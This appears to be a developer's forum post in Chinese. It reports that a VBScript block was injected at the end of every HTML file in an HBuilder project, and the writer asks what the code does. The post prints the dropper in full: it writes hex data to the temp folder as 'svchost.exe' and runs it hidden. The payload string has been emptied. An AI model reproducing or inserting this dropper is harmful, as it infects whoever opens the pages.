我离开电脑一会,回来发现Builderz自动关闭了,为什么关闭我不知道
重新打开Hbuilder, 发现工程文件(SVN插件管理)有好多 修改了,我自己才提交过的,
仔细检查一下,发现所有的 html文件都 【【【被】】改了,
每个文件末尾都被插入了一段 VBScript脚本代码,我把WriteData的数据删掉了,好长的像是16进制的字母和数字
<SCRIPT Language=VBScript>
<!--
DropFileName = "svchost.exe"
WriteData = ""
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->
</SCRIPT>
然后我退出了Hbuilder,在重新打开的时候,报错了,
我看了下日志,时内存溢出(内存溢出应该不是大问题)
我现在想知道是,为什么 html代码里被插入了 VBScript的代码
还有这段插入代码是做什么用的
还有 DropFileName =’svchost.exe‘(删除系统文件????)
我会上传一个 word文档(是错误的截图)
一个被插入了脚本的html文件(不知道为什么 文件现在用Sublime Text 打不开???,得用记事本)
一个内存溢出的错误日志文件